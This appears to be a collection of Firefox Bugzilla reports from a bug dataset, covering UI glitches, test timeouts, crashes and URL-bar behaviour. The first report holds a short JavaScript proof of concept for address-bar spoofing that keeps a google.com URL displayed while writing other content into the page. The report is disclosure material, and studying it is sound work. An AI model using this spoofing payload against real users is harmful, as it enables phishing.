av9ash/GitBugs huggingface dataset:
Bug: Address Bar Spoofing in Firefox 68 ESR using unreachable port (copy of Safari CVE)
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2020-06-26 07:42:05+00:00
Resolved: 2020-06-26 15:15:36+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

Steps to reproduce:

In browsers, an address bar represents the current web address.

Address bar spoof vulnerability
It is an ability to keep legit URL in the address bar while loading the content from other domain. This makes the user believe that the content is served by a legit domain. For example, the browser is displaying https://www.google.com in the address bar while rendering the content from https://www.evil.com

The basics idea to find such vulnerabilities is to first initiate the javascript call and then interrupt it.

Proof of concept code

<html>
    <head>
        <title>Address Bar Spoof!</title>
    </head>
    <body>
        <script>
            function demo() {
            var evilPage = 'PGh0bWw+Cjx0aXRsZT4KZ29vZ2xlLmNvbQo8L3RpdGxlPgo8Ym9keT4KPGgzPkFkZHJlc3MgQmFyIFNwb29maW5nIEJ5IFZpc2hhbCBCaGFyYWQ8L2gzPgo8L2JvZHk+CjwvaHRtbD4=';
                var x = window.open('','');
                setInterval(function(){x.location.replace('https://www.google.com:8080');});
                x.document.write(atob(evilPage));
            }
        </script>
        <button>test</button>
    </body>
</html>

Here first we invoked a window.open() method and then we changed the location of that window to invalid port URL and right after we write into the DOM using document.write() method. Since we provided an invalid port URL browser will keep displaying it while displaying the content from attackers domain. we can achieve more than 1 minutes spoof using this vulnerability.

POC Video Attached to Demonstrate the Vulnerability.


Actual results:

Impact
We provided an invalid port URL browser will keep displaying it while displaying the content from attackers domain. we can achieve more than 1 minutes spoof using this vulnerability.


Expected results:

The address should show the real host
Bug: Basic Authentication Info shown in tab title
Status: UNCONFIRMED
Priority: P2
Created: 2020-06-26 08:52:38+00:00
Resolved: 2021-12-23 17:38:41+00:00

User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0

Steps to reproduce:

Condition: 
1. apache2 webserver
2. directory with basic authetication required
3. directory doesn't have index.html file in it

Steps:
1. Visit directory page (which will be browsed as "Index of /<directory>")
2. Select a file to browse in a new tab


Actual results:

tab title is <login>:<password>@<ip>/<directory>/<file>. 


Expected results:

tab title is <ip>/<directiory>/<file>
Bug: Urlbar autofill clears even after pressing the right arrow to accept the suggestion
Status: NEW
Priority: P3
Created: 2020-06-26 11:42:19+00:00
Resolved: 2020-06-29 18:23:51+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0

Steps to reproduce:

Start typing a common url in the url bar (mozill|)
Press the right arrow or click so that the cursor is at the end of the suggested url (mozilla.org/|)
Click out of the url bar


Actual results:

The suggested url is removed (mozill)


Expected results:

The suggested url stays, since the suggestion was accepted (mozilla.org/)
Bug: New GetUserMedia indicator is placed incorrectly in tab previews
Status: NEW
Priority: P3
Created: 2020-06-26 12:34:48+00:00
Resolved: 2021-06-06 07:58:56+00:00

¡Hola!

Prerequisites:

- Set the Windows taskbar to show on the left

Steps:

- Load https://webrtc.github.io/samples/src/content/getusermedia/volume/
- Grant microphone permissions
- Hover the pointer over the Firefox Nightly icon in the task bar

Actual result:

The new GetUserMedia indicator is displayed a few pixels too low and obscures the title of the preview under it.

Expected result:

The new GetUserMedia indicator is displayed correctly and doesn't obscure the title of the preview under it.

¡Gracias!
Alex
Bug: Opening a downloaded pdf in background tab using key modifier will position it to the left of tab strip in certain conditions
Status: NEW
Priority: P5
Created: 2020-06-26 12:35:39+00:00
Resolved: 2020-07-01 23:03:35+00:00

**Affected versions**
* Nightly 79.0a1

**Unaffected versions**
* Firefox 78.0 Release Candidate

**Affected platforms**
* MacOS 10.15
* Windows 10 64bit
* Windows 7 64bit

**Steps to reproduce**
1. Start Firefox
2. Open a sample pdf in urlbar (eg: http://www.africau.edu/images/default/sample.pdf)
3. Click the download button and save the file
5. Open Download panel and use the following operation on the downloaded pdf: CTRL(CMD)+Shift+left click
6. Focus the second tab (opened in the correct place)
7. Repeat step 5 again.

**Expected result**
* The downloaded pdf is opened in a new tab, at the end of the tab strip (last from the right, if using LTR build and the other way around for RTL build)

**Actual result**
* The downloaded pdf is opened 

**Regression range**
* This is not a regression since the key combination was introduced in bug 1638156 and the build with that patch also has this issue.

**Additional notes**
* If after step 7 from above STR some random webpages (until overflow tabs) are opened and the last one focused, following step 5 again will open a tab containing the pdf at the far left side of the tabs (worse for users which have dozens of tabs).
* IMHO this bug falls in severity S3 category.
Bug: Intermittent browser/components/sessionstore/test/browser_dynamic_frames.js | Test timed out -
Status: RESOLVED
Priority: P5
Resolution: INCOMPLETE
Created: 2020-06-26 12:51:35+00:00
Resolved: 2021-02-02 17:01:29+00:00

**Filed by:** ccoroiu [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer.html#?job_id=307641655&repo=mozilla-central
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/aECz13luQ4uGAMAzxU3cJA/runs/0/artifacts/public/logs/live_backing.log

---

task 2020-06-26T11:09:49.452Z] 11:09:49     INFO - TEST-PASS | browser/components/sessionstore/test/browser_dynamic_frames.js | no children collected - 
[task 2020-06-26T11:09:49.453Z] 11:09:49     INFO - Buffered messages logged at 11:09:21
[task 2020-06-26T11:09:49.453Z] 11:09:49     INFO - Console message: [JavaScript Error: "Unknown event: ["jsonfile", "load", "broadcastlisteners"]"]
[task 2020-06-26T11:09:49.453Z] 11:09:49     INFO - Buffered messages finished
[task 2020-06-26T11:09:49.453Z] 11:09:49     INFO - TEST-UNEXPECTED-FAIL | browser/components/sessionstore/test/browser_dynamic_frames.js | Test timed out - 
[task 2020-06-26T11:09:49.453Z] 11:09:49     INFO - GECKO(11000) | MEMORY STAT | vsize 2104683MB | vsizeMaxContiguous 65498743MB | residentFast 395MB | heapAllocated 88MB
[task 2020-06-26T11:09:49.453Z] 11:09:49     INFO - TEST-OK | browser/components/sessionstore/test/browser_dynamic_frames.js | took 45078ms
[task 2020-06-26T11:09:49.453Z] 11:09:49     INFO - Not taking screenshot here: see the one that was previously logged
[task 2020-06-26T11:09:49.454Z] 11:09:49     INFO - TEST-UNEXPECTED-FAIL | browser/components/sessionstore/test/browser_dynamic_frames.js | Found a tab after previous test timed out: data:text/html;charset=utf-8,<iframe name=t src='data:text/html,A'></iframe><a id=lnk href='data:text/html,B' target=t>clickme</a><script>var i=document.createElement('iframe');i.setAttribute('src', 'data:text/html,C');document.body.appendChild(i);</script> - 
[task 2020-06-26T11:09:49.473Z] 11:09:49     INFO - checking window state
Bug: JNLP should not be considered an executable extension
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2020-06-26 15:03:08+00:00
Resolved: 2021-07-26 14:36:15+00:00

+++ This bug was initially created as a clone of Bug #1576616 +++

Name: Firefox
Version: 78.0
Build ID: 20200625152958
Update Channel: beta
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Testing performed using the latest Firefox 78.0 beta has shown that Java Web Start (.jnlp) files are still falsely being considered as executables. Therefore a scary warning window is shown to the end user each time a JNLP file is downloaded, with the intend to execute it using the pre-installed Java Web Start launcher. To put it mildly, the user experience is just terrible.

For completeness, the warning message titled: Open Executable File?

> "example.jnlp" is an executable file. Executable files may contain viruses or other malicious code that could harm your computer. Use caution when opening this file. Are you sure you want to launch "example.jnlp"?

We had reported this very same issue last year, ref. the following bugs:
* Bug 1576616 (RESOLVED FIXED) - Should not treat JNLP files as Executables (revert bug 1392955) on ESR-68
  * The bug I had created last year for the same issue
  * Linked to base bug 1392955 by Mozilla
  * Reused to revert the security fix as of Firefox ESR 68.2, restoring the 'user friendly' behavior for EBS users without extra warning messages.
* Bug 1392955 (VERIFIED FIXED) JNLP should be treated as executable
  * Base bug that fixed the 'security issue'
  * The code change was included with Firefox 67.0 and the behavior has not changed till this date, incl. the latest Firefox 78.0 beta. Only Firefox ESR 68.2+ does NOT included the code change.
* Bug 1576762 - Improve usability for JNLP and other executable
    * Created by Mozilla, intended to work out a more comprehensive approach, such as e.g. handling Windows executables ".exe" differently from others like ".jnlp"
    * Status NEW and Unassigned

Our concerns are two folded:
1. Firefox 78.0 is expected to be the baseline for Firefox ESR 78.0 due next week. Given that the code change was reverted only for Firefox ESR 68.2+ it is our expectation that Firefox ESR 78.0 will re-introduce the warning message. We cannot confirm this today but if this is the case, then we yet again ask for the code change to be reverted for Firefox ESR 78.x.
2. In bug 1576616 and bug 1392955 myself (Oracle) and Donald Smith (Java SE Product management at Oracle) had given several arguments that explain why JNLP files are NOT executables. We'd highly appreciate some progress on bug 1576762 to get this issue sorted out in both Firefox Rapid Release and ESR. We can provide any further clarifications if needed via that bug concerning the handling of JNLP once Firefox passes it over to our Java Web Start launcher.
Bug: Unable to paste password into macOS OS re-authentication dialog
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2020-06-26 16:37:32+00:00
Resolved: 2020-06-26 18:42:36+00:00

In exploring the upcoming [login CSV export](https://bugzilla.mozilla.org/show_bug.cgi?id=249801) feature, I found that I was unable to paste my FF password into the confirmation box on macOS.

STR:

1. Visit about:logins.
2. Click "Export Logins..."
3. Click "Export..." in the confirmation box.
4. Try to paste your os password into the prompt dialog that appears asking for it before exporting.
5. Find that you're unable to paste, but CAN type.

ER:

1. Paste should work. Since lots of users have single use passwords, it seems an unreasonable UX hurdle to type it out. (I assume we have some control over this; or maybe this is just at the OS level and we can't touch it?)

AR:

1. Paste does not work. Have to type password manually.
Bug: Intermittent browser/components/aboutlogins/tests/browser/browser_aaa_eventTelemetry_run_first.js | Uncaught exception - at chrome://mochitests/content/browser/browser/components/aboutlogins/tests/browser/browser_aaa_eventTelemetry_run_first.js:64 - TypeE
Status: RESOLVED
Priority: P5
Resolution: INCOMPLETE
Created: 2020-06-26 21:44:58+00:00
Resolved: 2024-10-08 05:07:06+00:00

**Filed by:** rmaries [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer.html#?job_id=307695576&repo=autoland
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/KDS8pF0MTZWS9dxMXsBljw/runs/0/artifacts/public/logs/live_backing.log

---

[task 2020-06-26T21:04:23.444Z] 21:04:23     INFO - TEST-START | browser/components/aboutlogins/tests/browser/browser_aaa_eventTelemetry_run_first.js
[task 2020-06-26T21:04:24.206Z] 21:04:24     INFO - TEST-INFO | started process screencapture
[task 2020-06-26T21:04:24.458Z] 21:04:24     INFO - TEST-INFO | screencapture: exit 0
[task 2020-06-26T21:04:24.458Z] 21:04:24     INFO - Buffered messages logged at 21:04:23
[task 2020-06-26T21:04:24.459Z] 21:04:24     INFO - Entering test bound setup_head
[task 2020-06-26T21:04:24.459Z] 21:04:24     INFO - Leaving test bound setup_head
[task 2020-06-26T21:04:24.459Z] 21:04:24     INFO - Entering test bound setup
[task 2020-06-26T21:04:24.459Z] 21:04:24     INFO - Buffered messages logged at 21:04:24
[task 2020-06-26T21:04:24.459Z] 21:04:24     INFO - Leaving test bound setup
[task 2020-06-26T21:04:24.459Z] 21:04:24     INFO - Entering test bound test_telemetry_events
[task 2020-06-26T21:04:24.460Z] 21:04:24     INFO - Buffered messages finished
[task 2020-06-26T21:04:24.460Z] 21:04:24     INFO - TEST-UNEXPECTED-FAIL | browser/components/aboutlogins/tests/browser/browser_aaa_eventTelemetry_run_first.js | Uncaught exception - at chrome://mochitests/content/browser/browser/components/aboutlogins/tests/browser/browser_aaa_eventTelemetry_run_first.js:64 - TypeError: can't access property "click", loginListItem is null
[task 2020-06-26T21:04:24.460Z] 21:04:24     INFO - Stack trace:
[task 2020-06-26T21:04:24.460Z] 21:04:24     INFO - @chrome://mochitests/content/browser/browser/components/aboutlogins/tests/browser/browser_aaa_eventTelemetry_run_first.js:64:5
[task 2020-06-26T21:04:24.460Z] 21:04:24     INFO - execute@resource://specialpowers/SpecialPowersSandbox.jsm:141:12
[task 2020-06-26T21:04:24.460Z] 21:04:24     INFO - _spawnTask@resource://specialpowers/SpecialPowersChild.jsm:1812:15
[task 2020-06-26T21:04:24.460Z] 21:04:24     INFO - receiveMessage@resource://specialpowers/SpecialPowersChild.jsm:318:21
[task 2020-06-26T21:04:24.460Z] 21:04:24     INFO - Leaving test bound test_telemetry_events
[task 2020-06-26T21:04:24.460Z] 21:04:24     INFO - Console message: SENTINEL
Bug: bad performance when scrolling with mouse
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2020-06-27 06:13:26+00:00
Resolved: 2020-08-07 08:49:02+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Steps to reproduce:

enter https://www.powercolor.com/

scroll up/down with mouse


Actual results:

site "lags" and feels and looks like very low fps. scrolling with scrollbar works fine.


Expected results:

should scroll smooth without lag.
Bug: Local virtual host in address bar starts a search instead of loading the URL
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2020-06-27 16:31:49+00:00
Resolved: 2020-06-28 09:02:02+00:00

User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0

Steps to reproduce:

I’m working on my computer using virtual hosts like `lads.local`. I’m frequently typing URLs like `lads.local/something` in the address bar.


Actual results:

Since recently, the default behaviour of the address bar for these URLs has changed to "Search with [my default search engine]."

It doesn’t happen with pages I’ve already visited, or if I manually add the http:// prefix (that is my current workaround).


Expected results:

The default behaviour of the address bar used to be "Visit" for these URLs.

I think this should be called a defect, but feel free to mark the report as a request for enhancement.

I’m interested to hear about any config param to "whitelist" virtual hosts or something.
Bug: "Gah! your tab just crashed" tab crash error text should explain the cause, such as Linux system RAM being low or the tab process being killed externally
Status: UNCONFIRMED
Priority: P3
Created: 2020-06-27 19:22:05+00:00
Resolved: 2023-03-06 21:11:50+00:00

User Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0

Steps to reproduce:

Open any web page, be it Google Docs, Twitter, a Wordpress blog's admin interface, etc.


Actual results:

For some reason, on my laptop running Fedora 32's version of Firefox 77 with Intel graphics, since yesterday my tabs there have been crashing randomly or sometimes nonstop. It can be when you do an action on a webpage, or as soon as it loads, or after a while (you could just leave it sitting around for 20 seconds and then it would crash by itself). Firefox's internal pages (about:config, about:support, etc.) are not affected.

What I've ruled out so far (restarting Firefox between each tries):
- Wayland: it also happens in a Xorg/X11 session.
- VA-API: I turned off widget.wayland-dmabuf-vaapi.enabled
- WebRender: I turned off gfx.webrender.all and gfx.webrender.enabled
- System driver fuckup, or insufficient resources: I rebooted the whole system multiple times.
- Extensions or some config/profile corruption: I tried with a new profile and three tabs open, and it still experience tab crashes

...none of these made the issue go away.
Here's a screencast of the symptoms: https://fortintam.com/public/firefox-77-fedora-linux-tabs-crash-fest.webm


Tabs I have open and loaded for testing:
- a Google Docs text document
- https://twitter.com/nekohayo/status/1276920149975670785
- https://twitter.com/search?q=%23riptrump&src=trend_click

Attached is the output of my about:support page.

This is the first time in 15 years that my work has been paralyzed completely due to Firefox, and it's incredibly frustrating. I really have no clue why this is happening so I would welcome some way to know _why_ my tabs are crashing like that, as the tab crash page is completely unhelpful in that regard. Help!
Bug: URLs with a space and ending in a question mark are repointed to search
Status: VERIFIED
Priority: P3
Resolution: FIXED
Created: 2020-06-27 21:08:07+00:00
Resolved: 2025-02-03 10:42:06+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Steps to reproduce:

1. Set up browser for separate address field and search engine field
2. In the address field, type the URL https://en.wikipedia.org/wiki/Why Should I Love You?
3. Press enter

Attempted workaround:

4. In the address field, type the URL https://en.wikipedia.org/wiki/Why Should I Love You?
5. Press up arrow key
6. Press Enter


Actual results:

3. URL opens as search string in my preferred search engine
6. Search preferences open


Expected results:

3. Requested URL opens at Wikipedia
6. Requested URL opens at Wikipedia
Bug: Extreme Ram Usage
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2020-06-28 11:53:20+00:00
Resolved: 2020-08-25 11:13:42+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0

Steps to reproduce:

Just Opened a couple of tabs(netflix, youtube etc) No more than say 5 or 7.
I also have 24 GB`s of ram on my computer so RAM should not be a problem anyways.


Actual results:

Firefox was using up to 20 GB`s of my RAM. One tab was using 16GB`s by itself...I think it was a youtube tab. I have a task manager screenshot of an earlier state...while the computer was still responsive.


Expected results:

it should have stayed in the normal area of say...3-4 GB`s. Not anywhere near 20GB.
Bug: Crash in [@ OOM | large | xul.dll | strset]
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2020-06-28 20:25:20+00:00
Resolved: 2020-07-09 19:44:58+00:00

This bug is for crash report bp-954104d3-dfc4-4985-96a8-002d80200628.

Top 3 frames of crashing thread:
```
0 xul.dll xul.dll@0x3c4668e 
1 ucrtbase.dll strset 
2 xul.dll xul.dll@0x5812b07 
```
Bug: Intermittent Assertion failure (@ onLayersCleared@resource:///modules/AsyncTabSwitcher.jsm:811)
Status: RESOLVED
Priority: P5
Resolution: INCOMPLETE
Created: 2020-06-29 07:27:15+00:00
Resolved: 2023-06-28 12:03:19+00:00

**Filed by:** rmaries [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer.html#?job_id=307828100&repo=autoland
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/bT1eHTg1Qce-owhc8puAog/runs/0/artifacts/public/logs/live_backing.log

---

[task 2020-06-29T07:03:46.577Z] 07:03:46     INFO - TEST-START | testing/marionette/harness/marionette_harness/tests/unit/test_window_close_content.py TestCloseWindow.test_close_browserless_tab
[task 2020-06-29T07:03:46.737Z] 07:03:46     INFO -  1593414226729	Marionette	TRACE	[113] Frame script registered
[task 2020-06-29T07:03:46.737Z] 07:03:46     INFO -  Assertion failure
[task 2020-06-29T07:03:46.737Z] 07:03:46     INFO -  assert@resource:///modules/AsyncTabSwitcher.jsm:499:36
[task 2020-06-29T07:03:46.737Z] 07:03:46     INFO -  onLayersCleared@resource:///modules/AsyncTabSwitcher.jsm:811:12
[task 2020-06-29T07:03:46.737Z] 07:03:46     INFO -  handleEvent@resource:///modules/AsyncTabSwitcher.jsm:1099:16
Bug: GMail label dropdown menu causes big lag
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2020-06-29 08:08:39+00:00
Resolved: 2020-07-03 14:05:31+00:00

User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0

Steps to reproduce:

 - Open GMail page
 - open a mail
 - press L or click on "Labels" button on top


Actual results:

A long lag (seconds) in rendering before the menu appears. Pressing more keys to select a label produces more rendering lags, to the point of seeing text appear after I stop writing 4-5 letters.

Using the keyboard "L" shortcut makes it worse. 
Repeating it multiple times makes it disappear sometimes.

Attaching a profile of one occurrence where it lasted ~1 sec; I was unable to record longer lags with the performance profiler enabled.


Expected results:

Nearly instantaneous rendering of the menu.
Bug: wrong Firefox version detected (can't download add-on)
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2020-06-29 08:18:15+00:00
Resolved: 2020-07-01 06:46:21+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Steps to reproduce:

I was trying to download an add-on theat I frequently use


Actual results:

I can't download it as it says I have version 68 and 77 is needed. I actually have version 77 installed.



Note that the same is happening in Bugzilla, it automatically selected version 68 in this form.


Expected results:

Add on is installed correctly
Bug: When holding a key in the navigation bar to access special characters on mac the special character merges into the suggested url
Status: RESOLVED
Priority: P3
Resolution: DUPLICATE
Created: 2020-06-29 12:52:40+00:00
Resolved: 2022-10-26 23:47:41+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Steps to reproduce:

Visit a website eg. bundlephobia.com
Type in the address bar:
press b
hold u
press 2 to enter the german letter ü


Actual results:

bü|ndlephobia.com/ is in the address bar, where | is the cursor


Expected results:

bü| should be in the address bar
Bug: Request custom domains istead of searching
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2020-06-29 13:24:26+00:00
Resolved: 2020-06-29 17:34:14+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Steps to reproduce:

Since the latest update Firefox search custom domains like "foo.oitc.itn"  instead of requesting it.

If I set keyword.enabled=false in about:config, I need to prefix all search requests with a "?" like in the old days.

Firefox 77.0.1 in macOS


Actual results:

Firefox use the default search engine to find "usefull" results


Expected results:

Try to resolve the hostname and navigate to the system. This was the default behavior for years.